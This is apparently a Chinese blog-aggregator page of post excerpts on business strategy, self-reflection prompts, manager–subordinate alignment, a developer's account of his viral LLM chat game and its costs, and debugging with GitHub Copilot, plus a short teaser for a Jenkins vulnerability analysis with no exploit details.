1、实体经济需要在第一天就挣钱
互联网给了大家错觉，觉得做任何事情都可以先做规模，再做利润。但实体经济不是互联网。
互联网的 App 边际成本很低，如果规模化之后能够获得垄断地位、用户心智，那么长期的获客问题也解决了。另外 App 本身有黏性，大用户量的产品可以通过广告赚钱。
实体经济本身卖的是商品，商品的成本占比能到 20% - 50%，这么高的成本占比的情况下，规模化之后带来的成本优化空间很小。所以实体经济如果不能在售卖的第一天挣钱，就非常危险。
实体经济可以在不挣钱的时候，将规模限制在一个很小的范围内，打磨自己的产品和测试各种可以回本的获客渠道，努力让自己挣钱。
2、企业需要找到自己的独特经营战略
企业的使命是为消费者提供有价值的服务，并以此让自己活下来。
但是企业虽然有这样的愿景，却需要找到一条独特的经营模式。独特的经营模式可以给企业带来竞争的壁垒。
企业不但需要回答：为什么消费者现在要选我，更重要的是：为什么消费者未来还会选我。
为了回答这个问题，企业需要在产品和营销两个角度上构建自己的长期优势，让自己拥有确定的未来。
从产品层面上：企业需要回答，产品未来是否会需要持续迭代？如果需要，为什么自己的产品迭代会保持竞争力？
从营销层面上：企业需要回答，自己的用户现在从哪儿来，未来从哪儿来，获客渠道会不会变化？为什么可以一直稳定获得用户？
对于以上问题，每个企业的答案都应该是独特的。
3、做大市场的生意
作者举了白酒的例子：白酒是一个市场规模 5000 亿的生意，茅台的规模大概是 1000 亿，五粮液 500 亿，过百亿的企业很多，所以是一个大市场。
餐饮市场规模超过 4 万亿，也有大量过百亿的企业。
大市场的生意使得大家差异化经营成为可能。
4、用户需要解决的是“待办任务”
作者引入了《创新者的窘境》作者提出的“待办任务”的概念：JTBD（jobs to be done）。在这个概念下，用户买转头其实是需要一个孔；用户点餐是需要让自己肚子饱。
从“待办任务”角度思考解决方案，可以容易跳出当前的产品框架。
从“待办任务”角度也可以发现跨品类的竞争。比如统一方便面传统的竞争对手是康师傅，但是因为外卖的兴起，大家都不愿意买方便面了。因为本质上外卖和方便面都是解决让肚子饱的任务。
5、包装和落地页对消费者购买决策影响极大
在线下货架商品的年代，包装对售卖影响很大。如果你去线下的玩具店，你会发现很多玩具会有开窗设计，这种设计帮助消费者在购买前看到并且体验玩具的功能。
现在电商流行的年代，直播间和落地页对售卖影响很大，包装反而变得不那么重要了。所以， baby care 可以靠设计和高品质的落地页吸引宝妈购买他们的产品。我们的斑马思维机也可以靠直播间 1 年卖出超过 1 个亿的 GMV 。
6、品牌名是否应该复用
之前看《定位》那本书，作者希望所有的产品都应该有自己的品牌名。但是咱们看实际的商业社会，集团品牌其实很常见。
书中举了雀巢的例子，也举了恰恰从瓜子扩品类到坚果的例子。所以，品牌能不能复用还是要看实际情况。
如果品牌复用能够同时对新旧产品都产生累进，那其实可以复用。这种累进体现在：
新产品因为品牌复用，更好卖了
新产品不会对原有产品的品牌带来伤害
7、定位理论的局限
作者讨论了定位理论的一些局限性：
定位理论所说的“占领消费者心智”的逻辑需要大量的品牌广告投放才能有效，而这需要大量的广告费投入。
现在这个时代，传播渠道变得多样化了，像电视这种过去大规模传播的媒体消失了，品牌广告投放更难覆盖大众。
另外，作者举了很多定位书中的案例错误，说明定位理论只是商业竞争中的一个因素，而不是决定了竞争的全部。对此我是完全同意的。
以上。大家龙年快乐～
- 博客 笨方法学写作 2024-02-05 08:00:00
你总是在逃避，逃避那些需要深思的问题。
你总是宁愿沉迷于短暂的娱乐，也不愿面对那些能够推动我们成长和进步的挑战。
你总是宁愿忙碌于日常琐事，也不愿意面对自己的内心，深刻思考未来的可能。
然而，真正的成长和进步往往，源于深入的自我反思和主动的思考。
曾经我也和你一样。
直到有一天，我开始有意识地收集那些能够启发我的问题。
我希望每一个问题都可以引发我的深层思考，让我不断地提问自己，并开始自我解答。这些问题不定时地在我眼前出现，像是一记当头棒喝，强迫我跳出固有的思维模式，从迷茫中寻找出路。
问题: 如果你早就去做那些我害怕的事情，现在的生活会是怎样？ 扩展思考: 在过去，有哪些机会是由于恐惧而被你错过的？现在你还在害怕吗？如果做了，最坏后果是怎样？
这些问题让我从当局者迷的井底中爬出，渡过人生的难关。即使我已经过了而立之年，我仍然会遇到无数的困惑和混沌。但这些问题，它们让我不再逃避，而是勇敢面对。
问题: 你是否有在遇到大量问题时行动瘫痪？有没有在事后做任何的哪怕微小的努力来改变现状？ 扩展思考: 在问题众多且复杂的情况下，如何优先排序和分解这些问题，使其变得更可管理和解决？面对困难和挑战时，你可以采用哪些方法来维持积极的心态，从而促进问题的解决和自身状况的改善？
这些问题让我从当局者迷的井底中爬出，渡过人生的难关。即使我已经过了而立之年，我仍然会遇到无数的困惑和混沌。但这些问题，它们让我不再逃避，而是勇敢面对。
问题: 如果十年后，你要给理想的自己写一段颁奖辞，你会怎么写？ 扩展思考: 你希望自己在哪些领域达到了你现在无法想象的高度？现在你认为需要做哪些准备和改变，以确保理想成为现实？
切身实践4年来，我不再依赖外界的刺激来激发思考，而是通过这些问题直接触达内心，激发深层次的思考。这些问题成了我每日不可或缺的一部分，它们不断地挑战我，迫使我去寻找答案，去深入反思。
切身实践4年来，我不再依赖外界的刺激来激发思考，而是通过这些问题直接触达内心，激发深层次的思考。这些问题成了我每日不可或缺的一部分，它们不断地挑战我，迫使我去寻找答案，去深入反思。
现在，我从问题库中精选出100个问题，做成一份「日课一问」模板。这份模板由100个主问题和若干个引发深层思考的小问题构成，它们囊括了生活工作的方方面面。有了这些问题，你也能：
● 主动驱动思考，防止被动逃避； ● 激发好奇探索，每日自省反思 ● 持续读取自我，渐进底层改变； ● 定期深入反思，持续自我精进
有了这些问题，你不是一个不再逃避思考的你，而是主动寻求挑战，不断自我提升的你。
让我们一起，用好问题引领生活，用深刻思考塑造未来。
愿每日都有好问题与你同在，一起成长，一起进步。
P.S. 如果你是 flomo Pro 用户，3 分钟简单配置，就可以将这份清单轻松导入你的flomo 账户中，马上开启你的日课一问。
《日课一问100条》与《灵感觉醒100条》搭配使用，效果更佳。
- 博客 构建我的被动收入 2024-02-03 08:00:00我的2023年度个人总结
- 博客 二丫讲梵 2024-02-02 06:14:55如要阅读全文，点击标题跳转。学习周刊-总第144期-两个内网穿透项目
- 博客 笨方法学写作 2024-01-30 08:00:00
给你最基本、最浓缩且最有价值 100条实践指南进入卡片新领域
∎简介
进入一个新领域 你可能会困惑，无从下手 我知道你可能没时间去阅读长篇大论 我这里只有100条精华要告诉你
这不是理论 而是我在这个领域实践并验证过的 最基本、最浓缩且最有价值的 100条卡片实践指南
每条建议尽可能做到 简洁明了，容易理解 每一条都是我精心挑选的 能帮你尽快入门和掌握 卡片创作领域的核心知识
∎内容
卡片创作技法100条 专为卡片创作新手设计 内容涵盖从卡片选择、组织方法到创作心得 每条技法都是经验之谈，简洁却深刻
每条实践/建议就是一张卡片 每张卡片100~500字
你将获得以下内容——
如何极简开始卡片创作？ 卡片创作写什么内容？ 如何有效地组织管理卡片？ 如何运用卡片促进深度思考？ 怎样建立卡片创作习惯？ 高手是如何使用卡片的？
不必担心内容 凡事有所激有所逼成者居半 创作冲刺，厚积薄发 从起念到发布，仅用三天 我已经将内容快速更新超100条 未来将不定期梳理重构升级
∎已发布目录
起步上手4条 日课一卡12条 卡片工具12条 卡片读书10条 卡片技法18条 卡片输出11条 卡片系统10条 高手实践30条 卡片原理10条
∎价格
目前仅需19元 现在购买仅需1杯奶茶
未来内容升级与订阅人数增加 将涨价到99元
∎截图
如果你之前没有了解过笨方法或课程作者，建议先搜索免费阅读《笨方法文化手册》再做决定。
- 博客 唐巧的博客 2024-01-29 22:00:28
故知胜有五：知可以战与不可以战者胜；识众寡之用者胜；上下同欲者胜；以虞待不虞者胜；将能而君不御者胜。
— 《孙子·谋攻》
在组织内部，上下对齐是非常重要的。否则可能下属做了很多事情，但是上级一点都不认可；亦或者上级想做一个事情，下级内心不想做，最后因为执行不到位而做得不好。
“上下同欲”的状态是最舒服的，但是很多时候现实并不完美。当上下对齐出现问题的时候，应该怎么解决呢？我分别在下属视角和上级视角阐述一下。
1、下属视角
站在下属视角，如果上级不能理解和认同自己的观点，那么应该仔细判断一下，是以下哪种情况。
情况一：上级的信息量不足。
这个时候下属应该尽可能将自己的信息共享给上级，帮助上级理解你的逻辑。
如果你说了很多上级还是没有被说服，而你还是认为上级的信息量不足，那只能说明你缺乏信息沟通的能力，应该加强这方面的锻炼。
情况二：上级的思考角度或者权衡方式不一样。
这个时候下属应该尽可能通过询问，理解上级的思考角度或者权衡方式，通过学习共同的思考方式，逐步达成相似的做事方法。
情况三：上级的能力不足。
如果你确定你的上级能力不足，那么应该尽可能帮助他意识到这方面你比他更专业，让他通过授权给你更多自主权。
但是在刚开始有分歧的时候，你可能还是需要多给上级一些时间来验证你的观点才是正确的，所以没关系，你如果实在没办法说服他，就先按他的来。
如果你实在受不了，也可以选择调岗或者离职，选择一个能够沟通的上级。
情况四：你无法判断为什么无法说服上级。
这个时候可能是因为有一些信息领导不方便告诉你，亦或者是你的能力不足，无法理解领导的一些判断。这个时候没关系，先按领导的执行即可。
无论以上哪种情况，你都需要先充分沟通，站在上下同欲的角度试图达成一致。因为本质上你们都是想把业务做好的。如果达不成一致，就先按上级的来。
2、上级视角
站在上级角度，如果下属不能理解自己的想法，那么应该努力阐述自己的思考角度和权衡的逻辑，这是一个非常好的对齐的机会。
上级也应该努力倾听下属的思考逻辑，避免自己因为信息缺失造成判断错误。
如果努力沟通之后，大家的观点还是没对齐，上级应该判断一下这个事情对业务的重要和紧急程度。
情况一：如果是一个重要且紧急的事情，上级应该承担起决策权力和责任，让大家按自己的想法来做。
情况二：如果是一个重要但不紧急的事情，上级可以给下属多一些时间思考和讨论，用时间来磨合思路，用沟通建立起大家都认同的目标。
情况三：如果是不重要的事情，上级可以选择授权，给下属多一些自由空间。
如果上级消耗了巨大精力还是与下属对不齐，上级应该动用自己的权力来决策。如果在这种情况下，下属不听上级的，那么应该把下属换掉。
另外，上级也应该时刻自省：自己是否足够胜任当下的职位？如果自己不能胜任，那么应该努力提升自己或者让位于能够胜任的其他人。
其它
无论如何，一个上级应该承担他职位内的决策权力和责任，即使将决策权授权给下属，也应该是上级承担相关的责任。
以上。
- 博客 maxOS 2024-01-28 19:52:06首先我们需要理解这个世界，理解当中不合理的存在，然后尝试去对抗和改变这种不合理。这种力量源于不断的质疑，并有勇气从根本上重塑现有的系统和流程。
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2024-01-28 18:24:53背景 Twitter 被马斯克收购后，从去年 8 月开始，他们对开源第三方集成和第三方客户端进行了一系列明里暗里的打压和攻击，这样做是为了阻止用户通过非官方客户端访问和使用 Twitter，来增加公司的广告和会员营收 而开源社区中以 Nitter 和 RSSHub…
- 博客 太隐 2024-01-28 12:11:10495
- 博客 太隐 2024-01-28 12:10:37496
- 博客 太隐 2024-01-28 12:09:17497
- 博客 离别歌 2024-01-27 11:49:00
Jenkins 未授权文件读取漏洞（CVE-2024-23897）今天闹得沸沸扬扬，我也来简单分析一下这个漏洞，并看看这个文件读取如何利用。
首先说的是，由于Jenkins存在版本和插件差异，所以利用时可能也有不一样之处，本文内容不一定适用于所有Jenkins server。我们这里使用Vulhub的环境（2.441）来做分析和演示：https://github.com/vulhub/vul...
- 博客 笨方法学写作 2024-01-26 08:00:00
创作者需要极度专注，不要被琐碎事务缠身。
而知识管理，就是一种琐碎事务。
尽管知识管理，听起来很有吸引力，仿佛通过它我们能够成为更好的知识工作者，但实际上它很容易让人迷失方向。
但如果你愿意，你可以一直做知识管理。知识管理永远是无底洞，你永远在学习知识，输入知识、管理知识……但知识管理好了又有什么用？它可以无限地吞噬你的时间和精力，但最终可能并不会为你的创作带来实质性的贡献。
我们不断面对众多看似重要的知识，包括注意力、知识、人际关系、精力、财务……但真相是，如果这些知识不助于我们的创造性生产，那么这些所谓的“管理”只不过是自欺欺人。都是在用战术勤奋来掩盖战略懒惰。
我们不断地输入信息、整理数据、更新知识库，但这些活动真的有助于我们的创作吗？答案往往是否定的。我们花费大量时间在管理上，却忽略了创作的本质。
作为一个创作者，我的核心信条是专注于创作本身，而不是让自己沉迷于无休止的知识管理中。
真正的创作需要深度的专注和投入。它不仅是一个输出过程，更是一个深化思考、提炼观点的过程。
在这个过程中，我们通过创作来整理和管理我们的知识，而不是反过来。在创作中，我们可以自然而然地整合知识，构建起自己的思想体系，而不需要额外的“知识管理”工作。
忙于琐事的生活往往让我们无暇深思，被各种管理任务分散注意力。我们努力管理着各种事务，却可能忘记了作为创作者最重要的使命——创造。
我们需要认识到，真正的创造不是在繁忙中完成的，而是在深度思考和专注的状态下实现的。
创作者，最重要的事情就是创作。
我相信，通过创作，我可以更有效地理解和运用我的知识，而不是通过无休止地整理和管理它们。
毕竟，创作本身才是知识的最佳管理方式。
- 博客 二丫讲梵 2024-01-26 05:21:17如要阅读全文，点击标题跳转。学习周刊-总第143期-awesome-ops运维领域的宝典
- 博客 王登科-DK博客 2024-01-22 11:40:3124 小时涌入超过 60 万用户，消耗了大模型十几亿 token，发生 2000 万次对话，而事情的起源却是一次吵架。
需求的起源
几个月前，当时我和女朋友因为我现在已经忘记的原因而有了一些争吵，我一边看着对方骂我的样子，一边把对方想象成一个机器人，头上有个虚拟的进度条，我观察她的反应，假装成我的回应会让她头上的进度条发生变化，然后我就突然想到了一个产品创意：带有数值和反馈系统的基于场景的聊天。 我很快开始构建一个叫哄哄模拟器的 iOS APP，在 APP 内，我把常见的情侣吵架场景放入其中，每次进入一个场景，例如「你吃了对象爱吃的丸子，她生气了」，你都需要在指定聊天次数内将对方（AI）哄好，是否哄好则由「原谅值」决定，其会随着你的每次聊天而发生变化。
很久以来，我已经体验过太多的「聊天AI」了，无论是通用且强大的 ChatGPT还是专注于角色扮演的 Character.ai，他们都很强，但对我来说还是有一个小遗憾：他们只是聊天。
在聊天之外，如果能再加上数值系统和各种判定，那么就可以做出更游戏化的体验，此时大模型不仅负担起了聊天的任务，也会负担起基于聊天来做数值规则的任务，这在大模型出现之前，是不可能的，数值系统也都是按照既定规则来写死的。
开发哄哄模拟器，是我的一次实验，我发现我确实可以让模型输出拟人的回复，也能做好数值的设计。
App 上线之后，我照例在能发的几个地方发了一下，虽然有些响应，但最终用户就几百个人，因为是我业余做的，所以我也没在意，就放在那里没管了。
上周，公司内开始做一些新项目的选型，我也凑过去看了一眼，然后突然意识到，我经常被人误认为是全栈工程师，但其实我连 react 都不会写，这实在脸上无光，于是我准备开始学习 react，我学习新语言一般会直接从项目上手，所以我又一次想到了哄哄模拟器，并准备写一个网页版，来完成我的 react 入门。
学习新语言和开发新产品的过程已经和往日大不相同，在大模型加持的各种代码助手辅助下，我基本上很快就稀里糊涂的写完了第一个版本，并上线了。
哄哄模拟器网页版上线之后，我也发在了几个地方，包括我的微博，即刻，X，还有V2ex，但说实话，都反响平平，虽然我暗自感觉不应该感兴趣的人这么少，但考虑到也没投入啥成本，还顺便学了新东西，倒也不觉得难受。
神奇的流量涌入
变化发生在第二天晚上，睡觉前我看了一眼数据，突然发现在线有上百人，我马上通过嵌入的统计代码查看流量来源，但发现都是无法被统计的，这意味着流量应该不是从某个网站链接导入，也不是从搜索引擎，我几乎每一刷新，涌入的用户就还会再增加一点，当晚我观察到接近1点才睡觉。 在我睡觉之前，我还是不知道流量从哪里来，以至于我发了一条动态感叹「像是从黑洞来的」
睡前我最后看了一眼数据，即时在线人数是 2000
第二天早上起床后，我立刻查看数据，发现在线人数已经飙到了 5000，日活用户到了接近 10 万，在短暂的陶醉后，我立马意识到大事不妙，哄哄模拟器背后使用的大模型基于 GPT，我调用了 openai 的 gpt3.5 接口，这里的成本是0.0015美元/1000个token，而一个晚上我就跑了一亿的 token，为此我要付出的是 150 美元
但这只是一个晚上（还包括了大家都在睡觉的凌晨）的数据，如果按照这样的用量趋势持续一天，那我要付出的成本就会是上千美元了。
对于一个很接近玩具且做的很简陋的项目而言，每天几千美元的成本是不可承受之重。与此同时，用户量还在不断增加，几乎每刷新统计页面，就会新增数百人。
我一开始还在新高峰出现时截图，后来就懒得截了，我把精力放到了更紧迫的事情上面：找出用户从哪来，想办法变现，减少 token 消耗。
在网页上，我放置了联系开发者按钮，然后引导到了我的微博，半小时后，开始陆续有新的关注者评论，绝大部分都表示来自 QQ 空间和 QQ 群
我和其中一些用户聊了一下，大概找到了流量来源，起先应该是一个来自QQ空间的帖子介绍了哄哄模拟器，这篇帖子获得了数千次转发，既而又被发到了无数QQ群，并在群友中传播。
这也解答了为啥我一开始找不到流量来源的原因，QQ空间和QQ群都是比较封闭的生态，也无法追踪链接跳转的来源，这里面没有 KOL，传播节点也极其分散。
棘手的问题
等我中午时摸清用户来源的时候，用户即时在线已经突破了 2 万，预估的大模型账单也逼近了 1000 美元，我意识到，作为网页，且没有做注册登录的用户系统，即便我加入了广告，也无法平衡大模型的成本，和其它火起来的传统产品（例如羊了个羊）相比，基于大模型的哄哄模拟器，运行成本可能是它们的上千倍。 此时更棘手的一个情况出现了，因为大量的用户同时调用，把 GPT 接口的用量限制直接打满了，每分钟生成的 token 超过了一百万。 这让很多用户无法使用，于是我赶紧更新代码，用了粗暴的办法去降低用户的使用频率：1/2的概率，会提示繁忙，同时在用户完成一局对话后，如果哄哄失败，则必须冷静20秒才能开启下一局。 这样的调整让TPM (每分钟的模型 token ) 稳在了100万，但很快，在线用户增加到了3万，即便有上面的设置，tpm也依然被打满，这导致了大概有 1/3 的用户是无法使用的。 此时我选择性忽视了未来的大模型使用账单，一心想支撑下这波用户，于是我又找到了在奇绩创坛的校友尹伯昊，他是猴子无限的创始人，也有深度和 GPT 绑定的大模型相关的业务，他给了我一个API KEY，可以走他们的账号池调用GPT，并且支持极高的 TPM 限额，我将 1/2 的请求分配到了他的API下，此时用户也增长到了 4 万，但因为分流，所以勉强支撑了下来。
token 在两边都极速消耗，很快就在伯昊的账号下就跑了 100 美金的额度。而我自己那边我已经不想去看了。
缓一口气后，我开始尝试用其它模型替代 GPT ，这虽然在成本上不一定更划算，但至少有一些新的可能性，跑了几个差强人意的开源模型后，我尝试了 Moonshot，发现效果还可以，与此同时我刚好前不久加了月之暗面公司负责 API 的同学，于是我心一横，厚着脸皮直接向对方发了消息
Moonshot 同学很快拉了群和我对接，并慷慨的让我「先试试」，于是我开始进行调试，然后将1/5的模型调用量切给了 Moonshot ，我采集用户行为数据，观察使用不同模型时，进入下一步操作的比例，在接入 Moonshot 大约1小时后，我看了数据，发现和我之前使用的 gpt3.5 相差不大，于是我将切给 Moonshot 的用量逐渐提高。
其实我们也没有谈太多的条件，Moonshot 让我免费使用模型，我肯定也要在页面展示 Moonshot 的品牌信息，但除此之外，要有多少曝光？点击多少次？给我多少token？其实我们都没有谈，在跟对方交流的时候，我感觉双方都抱着开放的心态，像面对一场有趣的实验而不是什么商业合作，我们一起兴致勃勃的观察模型表现，以及用量的波动。
傍晚时，经过多次调试，也确认了这个调用量级没问题后，我将模型调用量全量切到了 Moonshot，此时我问了伯昊，他那边的成本消耗，最终定格到了 340 美元，伯昊没收我钱，而我将用一顿饭回报这次帮忙。
此时是晚上八点半，我终于吃上了当天的第一口饭。然后我打了一把 FIFA。
不太意外的意外
打完 FIFA 之后我回到电脑前，发现在线人数开始暴跌，此时我的心情比较复杂，一方面我对数据往下走有本能的失落，但又因为 token 消耗降低而松了一口气。而当我寻找数据下跌原因时，我发现这个原因丝毫不让人意外。 是腾讯屏蔽了哄哄模拟器的网页。
屏蔽发生在最活跃的晚上九点，此时最主要的传播链路——QQ和微信被拦腰斩断，大量抱着好奇心的用户被这个页面挡在了外面，流量以极快速度下滑，最终，当天涌入的用户一共是 68 万——如果没有屏蔽，在这个增速下，我想可能会过百万。
我当晚进行了申诉，第二天早上微信给我解封了，但十小时后，又进行了屏蔽——依然是在晚上最活跃的 9 点，在我申诉后又在次日早上解封，然后晚上继续屏蔽，过去几天这样大概重复了三四次，我也不明白为何要这样做——不给我个痛快，但流量在这样的折腾下迅速降低了。
微信生态素以严格著称，哄哄模拟器的流量激增可能触发了某种机制，也可能是某些用户故意引导模型输出出格内容后举报，让屏蔽不断发生，那个熟悉的画面，让我许多不愉快的记忆涌上心头。
但这一次，我其实没有那么不愉快，一方面我投入的并不多，说实话，这只是我做着玩的项目，同时我也知道，目前的哄哄模拟器，就是一个短期很难有商业回报的产品，它成本极高，而收益却极低——如果我不用非常极端的办法去恶心用户的话。
这样的一个产品，前途其实并不明朗。
大模型的验证
但这个小产品，我观察到的数据，却给我带来了关于未来的某些希望——用户们很喜欢它，很多用户把我放置的关卡全部通关，还有人在全部通关之后有逐个进行最短回复的挑战，B站，抖音都出现了大量体验，游玩或者吐槽的视频。
值得注意的是，这些用户和我之前做产品所接触的用户完全不同，他们是以大学生，高中生和年轻人组成的，最大比例的年龄区间为16-20岁，我想这可能是一开始我用自己的渠道到处宣传效果并不好的原因，说到底，我已经快 30 岁了，我身边的很多人，也差不多这个年纪，30-40岁的用户，和十几二十岁的用户，感兴趣的点，需求，想法，都有很大不同。
用大模型去做某种更复杂的，更游戏化的聊天体验，能够被人喜欢，至少在年轻人这里，是得到了初步证明的，而之后的问题则是，如何降低成本，如何构建好的商业模式，以及如何拓展到更多的方向上。
其他的想法
我听到了一种声音，可能带了一点情绪，我不确定，这种声音是：做这样不赚钱还亏钱的东西完全是浪费时间。首先我承认并且赞同人应该想办法赚钱过上更好的生活，同时我也认为我们应该保有更多的一些能力，例如感受趣味，它和赚钱不矛盾，但独立于赚钱这件事情。 用最前沿的技术，巧妙的做一个让几十万人用上的产品是很有趣的事情，当他们也因为这个产品而获得了乐趣的时候，我会感觉到我在和世界发生某种奇妙的连接，在某个可承受的范围内，我不计较成本，正是因为这个。 另一方面，我也有某个模糊的感觉，那就是在许多小需求得到满足的时候，就不应该去计较短期的，在承受范围内的成本，尤其是在现在，能够用大模型去实现功能和解决问题，因为这里面可能蕴含着更大的需求，或者能转化成更大的事情，当我们太过谨慎的时候，可能就错失了这种可能性。 话说回来，就算那种可能性最后没有验证，那又有什么关系呢，说到底，人赚钱也好，生活也好，最终不过还是希望能够开心，做哄哄模拟器的这个过程，我就很开心，足矣。 PS：哄哄模拟器：hong.greatdk.com - 博客 二丫讲梵 2024-01-22 04:48:09如要阅读全文，点击标题跳转。如今我已算是属于互联网工作中人了，然而身体内仍旧有许多这个行业不太典型的特质，正是这些特质驱使，使得我常常能够用一种旁观的心态来思虑这个行业，最近经历了一个小事儿，触及我诸多思索，也算是我对互联网行业诸多不解之一点吧。题目已经表达了主旨，就是针对于互联网公司工资保密的这一特性，让我有不少感慨。一切的缘起还要从几天前的一个经历说起，最近公司整体人事架构调整，因此我们需要配合人事同学办理转移架构的手续，无非就是先从当前架构离职，然后再办理新架构的入职，而就在给各种协议签字的过程中，我忽然对自己的薪资有一丝疑虑起来，不大能看得懂是怎么发的了，于是请教身边的人事小姐姐，她很耐心的对我讲解，然后还让我看了Excel中工资拆分的不同属性，而就在此时，在表格中上下与我挨着的，同部门的小伙伴的情况，也同时尽收眼底，人钱对应的我倒是只看到了两位，也就在看到的那么一刹那，我整个人瞬间呆住，当然也只是心里的惊呆，毕竟还在人事旁边，没有表现出太大的讶异之情。但就是这么一瞟，让我好几天的心情都颇不能平静，纵然我再怎么视金钱如粪土，再怎么 不取于相，如如不动，也都不能抑制这奔涌的心胸，继而引发今日之思考。
- 博客 二丫讲梵 2024-01-22 04:29:21如要阅读全文，点击标题跳转。部门一直缺一个相对资深的运维开发同学，因此一直都在寻找着，而我，也有机会作为面试官面了一些人。面试别人与自己面试是完全不同的体验，因此在这些面试的过程中，我也经受着许多考验与挑战，并促进我生发一些思考，这里做一些记录。
- 博客 二丫讲梵 2024-01-22 00:19:59如要阅读全文，点击标题跳转。我最近开源的 awesome-ops 项目，其中的项目分类及表格数据的生成，依赖 yaml-readme 这个项目所实现的 action 来完成。因此，其中的项目都是基于大量 yaml 来收集，在于 yaml 打交道的过程中，不可避免的会遇到错漏的情况，这个时候，增加一个 yaml 语法检测的 action 就势在必行了。当我有了这个念头之后，就针对这方面的 action 进行了一大波调研，发现市场上有许多对应的 action，真正好用的并不多，因此，在花了一两个小时之后，才发掘到了本文将要介绍的 action，如果你也有此类场景与需求，那么就往下读吧。
- 博客 程序员的喵 2024-01-21 22:43:34
今天下午我解决一个小问题的时候，在 Copilot 的帮助下快速给出了修复，这个工具似乎有些超过期望了，所以突然想写篇文章分享这个目前我最愿意付费的 AI 工具。
Copilot 价格是每个月 10 美金，但我至今还没付费过，感谢微软支持开源，从测试阶段就邀请我试用，到现在还一直在免费使用。Github 应该有些政策，比如如果你持续给一些 star 数比较多的开源项目做贡献，就可以免费使用 Copilot：
我会给出日常碰到过的一些具体的实际案例截图，以方便你更直观地感受到这个工具准确度。
Manual 类查询
我们在编程过程中经常会碰到一些命令的参数记不太清楚，这种问题很适合问 Copilot。这比自己去 Google 的感受好很多，因为他几乎能完全理解用户说的自然语言，而且给出的答案简介明了：
比 Google 更好的地方在于上下文的交谈，比如我继续基于上面的问题说我的想法，他就能继续给出反馈，比如我说大概有个类似--exact的参数，Copilot 会继续给出使用案例。Copilot 非常善于回答对这种 manual 类的问题，因为这是有标准答案的，并且我作为用户对这些是有判断的，只是我们细节上记不清楚了。
还有一次我发现跑测试的时候挂了，分析下来是这个命令行失败了（但既然 CI 是过的，所以必然只是在 MacOs 下失败了)：
diff -u --strip-trailing-cr -r -q A_file.txt A_file.txt这是在 diff 同一个文件，所以必然应该返回 0，但在 MacOS 下这个命令会报错：
✗ diff -u --strip-trailing-cr -r -q ./x.py ./x.pyerror: conflicting output format options.blah blah 一大堆错误 blah blah 一大堆错误我知道这里面肯定是有参数冲突了，但我具体不知道是哪两个冲突了，所以这时候我问 Copilot：
可以看到这个解释非常清楚，并且帮我找到了问题的根源，所以我就能很快地发 PR 修复这个问题，并且我 PR 里的描述基本都是从 Copilot 里来的：
Fix diff option conflict in UI test #109036给出示例代码
我们在写代码的时候，经常会出现固定的 Pattern，不同的语言对固定的 Pattern 有一些相对固定的代码样式。我很喜欢找 Example 类的代码，然后在这个基础上再思考或者修改：
对这种情况我们需要给 Copilot 足够的信息，他给出的 Rust 代码通常是可直接编译通过的，但当然这些示例代码需要进行仔细的修改，但这也比我自己翻 Doc 会快很多。
辅助排查问题
VSCode 上的 Copliot 更新很快，肉眼可见地体验越来越好，现在我们可以选择一段代码，然后就选择的代码来进行提问。
有时候我会选中一个函数，然后问这段函数能不能重构得更简单一些，或者我们能不能用其他方式实现。
今天让我有欲望写下这篇分享的文章是因为这个问题：
Missing request extension: Extension of type这是一个有非常明确的报错的繁琐 issue，应该就是 Server 端限制了 HTTP 的请求类型，客户端通过 curl 发 GET 请求的时候报错了，只是这个报错信息看起来很不友好，而且和老版本行为不同。所以我就选中代码中对应的函数，然后问这里为什么会有这个错：
其实我对 Copilot 解决这个问题不怎么报有信心，只是好奇先试了试，没想到 Copilot 真的能理解我的代码，并且指出了问题所在。注意看它加的注释就是我代码中缺少的逻辑 (之前的代码只是在enable_websocket的条件下才加载了 stream_config 这个 Extension)：
加上它建议的代码之后，那个错误信息没了，但是现在发 GET 请求是另外一个问题：
Connection header did not include 'upgrade'这看起来是服务端期望客户使用 Websocket，但是客户端只是在通过 Curl 发一个 GET 请求，并没有按照这个期望来。所以我继续问 Copilot：
他给的回复里的代码并没有直接修复问题，但里面的
you can separate the handlers for POST and GET requests
提示了我应该尝试对 HTTP endpoint 和 Websocket endpoint 的 handler 进行分开，所以我一下想到了修复方案：
总结
如今使用 Copilot 已经成为我的一个编程习惯，就如同之前我严重依赖 Google 一样，但这个工具明显比搜索引擎高级了一个维度，当然现在我还是依赖搜索，但使用比率明显下降了不少，搜索引擎更像是成了一个书签的角色了。
我之前认为 Copliot 这种工具甚至是这辈程序员所不能体验到的东西，在我第一次尝试到 ChatGPT 居然可以理解一个函数，并且找出函数中的问题时，就感觉新的编程时代来临了。
前段时间 Redis 的创始人在文章 LLMs and Programming in the first days of 2024 中写到：
随着时间的推移，我们见证了框架、编程语言、各种库的大量涌现。这种复杂性通常是不必要的，甚至无法自圆其说，但事实就是如此。在这样的情况下，一个无所不知的“白痴”成了宝贵的助手。
这是一个事实：现今的编程大多是在微调同样的内容，只是形式略有变化。这种工作并不需要太高的推理能力。
Copilot 已经可以在一些具体的编码问题上给到我们很多帮助，甚至你把这个当作一个包含万物的文档查询工具都非常有效。
当然没有银弹，Copilot 并不能解决编程中的所有问题，比如理解大规模的程序，通过深入分析去找出 bug，或者做设计问题中的各种折中和取舍，这些都是不能取代人类的，这也是我认为编程中的乐趣还没有完全消失。
我会把繁琐和细节的问题抛给 Copilot，然后更开心地做重要和有趣的部分。
- 博客 西秦公子 2024-01-21 20:57:44推荐语 自序 前言 1.3 第三阶段（2009—2011年）：互联网下的加速成长和运营职业生涯 02 非线性世 […]
- 博客 太隐 2024-01-21 14:51:14后工业社会 —— 人与人之间的竞争
- 博客 太隐 2024-01-21 14:09:00I think，therefore I am
